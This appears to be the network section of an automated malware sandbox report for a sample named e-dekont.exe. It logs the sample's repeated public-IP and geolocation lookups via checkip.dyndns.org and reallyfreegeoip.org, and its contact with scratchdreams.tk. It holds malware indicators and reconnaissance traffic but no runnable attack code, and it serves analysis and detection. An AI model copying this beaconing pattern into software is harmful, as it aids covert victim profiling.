Apr 24, 2024 07:09:16.011432886 CEST	443	49749	104.21.67.152	192.168.2.4
Apr 24, 2024 07:09:16.011579990 CEST	49749	443	192.168.2.4	104.21.67.152
Apr 24, 2024 07:09:16.012243986 CEST	49749	443	192.168.2.4	104.21.67.152
Apr 24, 2024 07:09:16.025316000 CEST	49748	80	192.168.2.4	158.101.44.242
Apr 24, 2024 07:09:16.189766884 CEST	80	49748	158.101.44.242	192.168.2.4
Apr 24, 2024 07:09:16.189897060 CEST	49748	80	192.168.2.4	158.101.44.242
Apr 24, 2024 07:09:17.850610018 CEST	49750	443	192.168.2.4	104.21.27.85
Apr 24, 2024 07:09:17.850661993 CEST	443	49750	104.21.27.85	192.168.2.4
Apr 24, 2024 07:09:17.850747108 CEST	49750	443	192.168.2.4	104.21.27.85
Apr 24, 2024 07:09:17.851327896 CEST	49750	443	192.168.2.4	104.21.27.85
Apr 24, 2024 07:09:17.851341963 CEST	443	49750	104.21.27.85	192.168.2.4
Apr 24, 2024 07:09:18.190028906 CEST	443	49750	104.21.27.85	192.168.2.4
Apr 24, 2024 07:09:18.190135956 CEST	49750	443	192.168.2.4	104.21.27.85
Apr 24, 2024 07:09:18.192508936 CEST	49750	443	192.168.2.4	104.21.27.85
Apr 24, 2024 07:09:18.192526102 CEST	443	49750	104.21.27.85	192.168.2.4
Apr 24, 2024 07:09:18.192807913 CEST	443	49750	104.21.27.85	192.168.2.4
Apr 24, 2024 07:09:18.194484949 CEST	49750	443	192.168.2.4	104.21.27.85
Apr 24, 2024 07:09:18.240124941 CEST	443	49750	104.21.27.85	192.168.2.4
Apr 24, 2024 07:09:57.839196920 CEST	443	49750	104.21.27.85	192.168.2.4
Apr 24, 2024 07:09:57.839437962 CEST	443	49750	104.21.27.85	192.168.2.4
Apr 24, 2024 07:09:57.839608908 CEST	49750	443	192.168.2.4	104.21.27.85
Apr 24, 2024 07:09:57.852240086 CEST	49750	443	192.168.2.4	104.21.27.85
Apr 24, 2024 07:10:17.164841890 CEST	80	49742	158.101.44.242	192.168.2.4
Apr 24, 2024 07:10:17.164944887 CEST	49742	80	192.168.2.4	158.101.44.242

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 24, 2024 07:09:07.018888950 CEST	59551	53	192.168.2.4	1.1.1.1
Apr 24, 2024 07:09:07.175024986 CEST	53	59551	1.1.1.1	192.168.2.4
Apr 24, 2024 07:09:07.731039047 CEST	58540	53	192.168.2.4	1.1.1.1
Apr 24, 2024 07:09:07.885088921 CEST	53	58540	1.1.1.1	192.168.2.4
Apr 24, 2024 07:09:16.025978088 CEST	59638	53	192.168.2.4	1.1.1.1
Apr 24, 2024 07:09:17.037889957 CEST	59638	53	192.168.2.4	1.1.1.1
Apr 24, 2024 07:09:17.849466085 CEST	53	59638	1.1.1.1	192.168.2.4
Apr 24, 2024 07:09:17.849488020 CEST	53	59638	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 24, 2024 07:09:07.018888950 CEST	192.168.2.4	1.1.1.1	0x733	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:09:07.731039047 CEST	192.168.2.4	1.1.1.1	0x77ac	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:09:16.025978088 CEST	192.168.2.4	1.1.1.1	0xde3f	Standard query (0)	scratchdreams.tk	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:09:17.037889957 CEST	192.168.2.4	1.1.1.1	0xde3f	Standard query (0)	scratchdreams.tk	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 24, 2024 07:09:07.175024986 CEST	1.1.1.1	192.168.2.4	0x733	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 07:09:07.175024986 CEST	1.1.1.1	192.168.2.4	0x733	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:09:07.175024986 CEST	1.1.1.1	192.168.2.4	0x733	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:09:07.175024986 CEST	1.1.1.1	192.168.2.4	0x733	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:09:07.175024986 CEST	1.1.1.1	192.168.2.4	0x733	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:09:07.175024986 CEST	1.1.1.1	192.168.2.4	0x733	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:09:07.885088921 CEST	1.1.1.1	192.168.2.4	0x77ac	No error (0)	reallyfreegeoip.org		104.21.67.152	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:09:07.885088921 CEST	1.1.1.1	192.168.2.4	0x77ac	No error (0)	reallyfreegeoip.org		172.67.177.134	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:09:17.849466085 CEST	1.1.1.1	192.168.2.4	0xde3f	No error (0)	scratchdreams.tk		104.21.27.85	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:09:17.849466085 CEST	1.1.1.1	192.168.2.4	0xde3f	No error (0)	scratchdreams.tk		172.67.169.18	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:09:17.849488020 CEST	1.1.1.1	192.168.2.4	0xde3f	No error (0)	scratchdreams.tk		104.21.27.85	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:09:17.849488020 CEST	1.1.1.1	192.168.2.4	0xde3f	No error (0)	scratchdreams.tk		172.67.169.18	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

reallyfreegeoip.org

scratchdreams.tk

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49732	158.101.44.242	80	7424	C:\Users\user\Desktop\e-dekont.exe

Timestamp	Bytes transferred	Direction	Data
Apr 24, 2024 07:09:07.349437952 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Apr 24, 2024 07:09:07.515300989 CEST	274	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 05:09:07 GMT Content-Type: text/html Content-Length: 105 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 34 2e 31 36 2e 31 30 35 2e 33 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 154.16.105.36</body></html>
Apr 24, 2024 07:09:07.519253016 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Apr 24, 2024 07:09:07.691046953 CEST	274	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 05:09:07 GMT Content-Type: text/html Content-Length: 105 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 34 2e 31 36 2e 31 30 35 2e 33 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 154.16.105.36</body></html>
Apr 24, 2024 07:09:08.871567011 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Apr 24, 2024 07:09:09.037977934 CEST	274	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 05:09:08 GMT Content-Type: text/html Content-Length: 105 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 34 2e 31 36 2e 31 30 35 2e 33 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 154.16.105.36</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49737	158.101.44.242	80	7424	C:\Users\user\Desktop\e-dekont.exe

Timestamp	Bytes transferred	Direction	Data
Apr 24, 2024 07:09:09.917876959 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Apr 24, 2024 07:09:10.082788944 CEST	274	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 05:09:10 GMT Content-Type: text/html Content-Length: 105 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 34 2e 31 36 2e 31 30 35 2e 33 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 154.16.105.36</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49740	158.101.44.242	80	7424	C:\Users\user\Desktop\e-dekont.exe

Timestamp	Bytes transferred	Direction	Data
Apr 24, 2024 07:09:10.959810972 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Apr 24, 2024 07:09:11.125665903 CEST	274	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 05:09:11 GMT Content-Type: text/html Content-Length: 105 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 34 2e 31 36 2e 31 30 35 2e 33 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 154.16.105.36</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49742	158.101.44.242	80	7424	C:\Users\user\Desktop\e-dekont.exe

Timestamp	Bytes transferred	Direction	Data
Apr 24, 2024 07:09:11.999416113 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Apr 24, 2024 07:09:12.165287971 CEST	274	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 05:09:12 GMT Content-Type: text/html Content-Length: 105 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 34 2e 31 36 2e 31 30 35 2e 33 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 154.16.105.36</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49744	158.101.44.242	80	7424	C:\Users\user\Desktop\e-dekont.exe

Timestamp	Bytes transferred	Direction	Data
Apr 24, 2024 07:09:13.042287111 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Apr 24, 2024 07:09:13.208477020 CEST	274	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 05:09:13 GMT Content-Type: text/html Content-Length: 105 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 34 2e 31 36 2e 31 30 35 2e 33 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 154.16.105.36</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49746	158.101.44.242	80	7424	C:\Users\user\Desktop\e-dekont.exe

Timestamp	Bytes transferred	Direction	Data
Apr 24, 2024 07:09:14.085747957 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Apr 24, 2024 07:09:14.252933025 CEST	274	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 05:09:14 GMT Content-Type: text/html Content-Length: 105 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 34 2e 31 36 2e 31 30 35 2e 33 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 154.16.105.36</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49748	158.101.44.242	80	7424	C:\Users\user\Desktop\e-dekont.exe

Timestamp	Bytes transferred	Direction	Data
Apr 24, 2024 07:09:15.131479025 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Apr 24, 2024 07:09:15.298448086 CEST	274	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 05:09:15 GMT Content-Type: text/html Content-Length: 105 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 34 2e 31 36 2e 31 30 35 2e 33 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 154.16.105.36</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49734	104.21.67.152	443	7424	C:\Users\user\Desktop\e-dekont.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 05:09:08 UTC	86	OUT	GET /xml/154.16.105.36 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-04-24 05:09:08 UTC	695	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 05:09:08 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: MISS Last-Modified: Wed, 24 Apr 2024 05:09:08 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mZZ%2Fsp4D3JME0r5KtWFwo7mhSbPqhWRcrz%2B%2FZGTOlRx7p07T4phsD2pZV6XXFKfUEjzfeoL4MjIQQUdNLj4tnbUSVrXhIuHtSi9UZgX44zaxggdIx2RX8NcS0u7lyBnwzn5BXwnK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879394582ea62adb-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 05:09:08 UTC	368	IN	Data Raw: 31 36 39 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 35 34 2e 31 36 2e 31 30 35 2e 33 36 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 41 5a 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 41 72 69 7a 6f 6e 61 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 50 68 6f 65 6e 69 78 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 38 35 30 30 34 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 50 68 6f 65 6e 69 78 3c 2f 54 69 6d Data Ascii: 169<Response><IP>154.16.105.36</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>AZ</RegionCode><RegionName>Arizona</RegionName><City>Phoenix</City><ZipCode>85004</ZipCode><TimeZone>America/Phoenix</Tim
2024-04-24 05:09:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49735	104.21.67.152	443	7424	C:\Users\user\Desktop\e-dekont.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 05:09:09 UTC	62	OUT	GET /xml/154.16.105.36 HTTP/1.1 Host: reallyfreegeoip.org
2024-04-24 05:09:09 UTC	698	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 05:09:09 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 1 Last-Modified: Wed, 24 Apr 2024 05:09:08 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JzMWq6142JWdoHOpmvjc6ZXQr7UXowxTSe3MPpVqpfUWroef1jqmO3HDaSfjP5aCOLFdarQvIq6Enq7dKqBsUgdNC%2Bw1u5fnItZ3krnS5eJHuEajT1IIe6Tfra2x3u92FRp82V3o"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8793945f58f63235-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 05:09:09 UTC	368	IN	Data Raw: 31 36 39 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 35 34 2e 31 36 2e 31 30 35 2e 33 36 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 41 5a 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 41 72 69 7a 6f 6e 61 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 50 68 6f 65 6e 69 78 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 38 35 30 30 34 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 50 68 6f 65 6e 69 78 3c 2f 54 69 6d Data Ascii: 169<Response><IP>154.16.105.36</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>AZ</RegionCode><RegionName>Arizona</RegionName><City>Phoenix</City><ZipCode>85004</ZipCode><TimeZone>America/Phoenix</Tim
2024-04-24 05:09:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49738	104.21.67.152	443	7424	C:\Users\user\Desktop\e-dekont.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 05:09:10 UTC	62	OUT	GET /xml/154.16.105.36 HTTP/1.1 Host: reallyfreegeoip.org
2024-04-24 05:09:10 UTC	704	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 05:09:10 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 2 Last-Modified: Wed, 24 Apr 2024 05:09:08 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BXK2qdlE6pLnwWIo0Dh7EKG5%2FrhxUvgXYWilcAhnlU%2FBzjmc%2BV%2BhXnrfKHS0MuzxF1upH32pe2ILq81gMdaOUt1AJSvgdgqPtFZmrbEv9t502qb35YXZzi4nFjXUXKiYVBC8RaVi"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87939465d9330faf-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 05:09:10 UTC	368	IN	Data Raw: 31 36 39 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 35 34 2e 31 36 2e 31 30 35 2e 33 36 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 41 5a 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 41 72 69 7a 6f 6e 61 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 50 68 6f 65 6e 69 78 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 38 35 30 30 34 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 50 68 6f 65 6e 69 78 3c 2f 54 69 6d Data Ascii: 169<Response><IP>154.16.105.36</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>AZ</RegionCode><RegionName>Arizona</RegionName><City>Phoenix</City><ZipCode>85004</ZipCode><TimeZone>America/Phoenix</Tim
2024-04-24 05:09:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49741	104.21.67.152	443	7424	C:\Users\user\Desktop\e-dekont.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 05:09:11 UTC	86	OUT	GET /xml/154.16.105.36 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-04-24 05:09:11 UTC	704	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 05:09:11 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 3 Last-Modified: Wed, 24 Apr 2024 05:09:08 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9sB1w8rDjW4RyRB8jh9z6N9FnVVNTLdJGwK8O4ID2tqM%2BA2cAxnISYJWi41scyCnswAEm5zJzvSwYSUcv%2B%2FUE3a%2FosIOEZhuJvrG7aVTN8aGye4lSoLdF2Wg31gMEC4myWpQn0lr"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8793946c5f9469bc-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 05:09:11 UTC	368	IN	Data Raw: 31 36 39 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 35 34 2e 31 36 2e 31 30 35 2e 33 36 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 41 5a 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 41 72 69 7a 6f 6e 61 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 50 68 6f 65 6e 69 78 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 38 35 30 30 34 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 50 68 6f 65 6e 69 78 3c 2f 54 69 6d Data Ascii: 169<Response><IP>154.16.105.36</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>AZ</RegionCode><RegionName>Arizona</RegionName><City>Phoenix</City><ZipCode>85004</ZipCode><TimeZone>America/Phoenix</Tim
2024-04-24 05:09:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49743	104.21.67.152	443	7424	C:\Users\user\Desktop\e-dekont.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 05:09:12 UTC	86	OUT	GET /xml/154.16.105.36 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-04-24 05:09:12 UTC	698	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 05:09:12 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 4 Last-Modified: Wed, 24 Apr 2024 05:09:08 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dTCNb449sjEQMl6U92srMaMoT%2F3RWMtil6knwmf6gaLNdWSGsvCpbnJAl3O8krPL20TjFZ6dNRb3YE7uigEgtUvFC67UR6N4iQz2wHelLXG5R11t6fSDTHYzz0sqRkyFcyDeTh8f"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87939472df6edbd9-LAX alt-svc: h3=":443"; ma=86400
